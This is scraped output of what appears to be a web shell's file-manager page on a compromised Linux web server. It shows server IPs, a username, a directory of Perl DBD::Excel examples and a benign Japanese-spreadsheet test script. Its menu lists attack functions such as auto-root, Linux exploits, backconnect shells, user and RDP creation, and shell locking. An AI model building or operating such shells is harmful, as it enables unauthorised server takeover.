Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libdbd-excel-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
README
595
B
-rw-r--r--
dbdtest.xls.gz
2.76
KB
-rw-r--r--
newxl.xls.gz
1.22
KB
-rw-r--r--
res_hidden
2.75
KB
-rw-r--r--
res_testj
102
B
-rw-r--r--
res_tex
2.24
KB
-rw-r--r--
res_texj
2.45
KB
-rw-r--r--
testj.pl
930
B
-rw-r--r--
testj.xls.gz
1.42
KB
-rw-r--r--
tex.pl.gz
862
B
-rw-r--r--
texj.pl.gz
970
B
-rw-r--r--
thidden.pl.gz
686
B
-rw-r--r--
thidden.xls.gz
1.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : testj.pl
use strict; #For Not-Ascii Characterset(Japanese etc.) use DBI; use Spreadsheet::ParseExcel::FmtJapan2; my $oFmtJ = Spreadsheet::ParseExcel::FmtJapan2->new( Code => 'euc'); my $hDb = DBI->connect("DBI:Excel:file=testj.xls", undef, undef, { xl_fmt => $oFmtJ, xl_vtbl => {TESTJ => { sheetName => '��ܸ�', ttlRow => undef, startCol => 0, colCnt => 5, datRow => 1, } } }); my $hSt = $hDb->prepare(q/SELECT COL_1_, COL_2_ FROM TESTJ/); $hSt->execute(); while(my $raRes = $hSt->fetchrow_arrayref()) { print "DATA:", join(',', @$raRes), "\n"; }
Close